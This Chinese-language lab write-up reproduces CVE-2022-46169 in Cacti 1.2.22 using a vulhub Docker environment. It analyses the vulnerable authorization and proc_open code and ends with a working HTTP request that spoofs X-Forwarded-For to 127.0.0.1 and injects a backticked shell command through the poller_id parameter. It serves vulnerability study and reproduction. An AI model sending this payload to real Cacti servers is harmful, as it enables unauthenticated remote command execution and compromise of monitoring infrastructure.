目录
漏洞版本
Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。
漏洞环境
参考链接:https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169
执行如下命令启动一个Cacti 1.2.22版本服务器:
docker compose up -d
环境启动后,访问http://your-ip:8080
会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。
实际上初始化的过程就是不断点击"下一步",直到安装成功:

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP
的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

选择的Graph Type是"Device - Uptime",点击创建:

漏洞点
该漏洞存在于remote_agent.php
文件中。该文件无需身份验证即可访问。为了验证客户端是否被允许访问,remote_client_authorized
需要调用以下函数:
if (!remote_client_authorized()) {
print 'FATAL: You are not authorized to use this service';
exit;
}
此函数通过 检索客户端的 IP 地址get_client_addr
,并通过 将此 IP 地址解析为相应的主机名gethostbyaddr
。之后,验证poller
表中是否存在与解析后的主机名对应的条目。如果找到这样的条目,则函数返回true
,客户端获得授权:
function remote_client_authorized() {
// ...
$client_addr = get_client_addr();
// ...
$client_name = gethostbyaddr($client_addr);
// ...
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
if (cacti_sizeof($pollers)) {
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
}
cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");
return false;
}
由于该get_client_addr
函数的实现,可以绕过此授权。
function get_client_addr($client_addr = false) {
$http_addr_headers = array(
'X-Forwarded-For',
'X-Client-IP',
'X-Real-IP',
'X-ProxyUser-Ip',
'CF-Connecting-IP',
'True-Client-IP',
'HTTP_X_FORWARDED',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'REMOTE_ADDR',
);
$client_addr = false;
foreach ($http_addr_headers as $header) {
if (!empty($_SERVER[$header])) {
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
if (!empty($header_ip)) {
if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
} else {
$client_addr = $header_ip;
cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
break 2;
}
}
}
}
}
return $client_addr;
}
以 开头的变量HTTP_
可以被攻击者任意设置。攻击者可以通过提供标头来绕过身份验证Forwarded-For: 127.0.0.1
。这样,该函数get_client_addr
就会返回运行 Cacti 的服务器的 IP 地址。以下调用gethostbyaddr
会将此 IP 地址解析为服务器的localhost,poller
由于存在默认条目,该服务器将通过主机名检查。
绕过文件授权后remote_agent.php
,攻击者可以触发不同的操作。其中一项操作称为polldata
switch (get_request_var('action')) {
case 'polldata':
// ...
poll_for_data();
// ...
break;
被调用函数poll_for_data
检索一些请求参数,并poller_item
从数据库中加载相应的条目。如果action
equals poller_item
,则POLLER_ACTION_SCRIPT_PHP
该函数proc_open
用于执行 PHP 脚本:
function poll_for_data() {
global $config;
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id');
$return = array();
$i = 0;
if (cacti_sizeof($local_data_ids)) {
foreach($local_data_ids as $local_data_id) {
input_validate_input_number($local_data_id, 'local_data_id');
$items = db_fetch_assoc_prepared('SELECT *
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?',
array($host_id, $local_data_id));
// ...
if (cacti_sizeof($items)) {
foreach($items as $item) {
switch ($item['action']) {
// ...
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
// ...
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
// ...
攻击者控制的参数$poller_id
通过函数 检索get_nfilter_request_var
,该函数允许任意字符串。此变量随后被插入到传递给 的字符串中proc_open
,从而导致命令注入漏洞。例如,通过提供 ,``poller_id=`touch+/tmp/success```命令就会被执行。
漏洞利用
我们切换到攻击者的角色。作为攻击者,发送如下数据包:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1



进入容器,命令执行成功
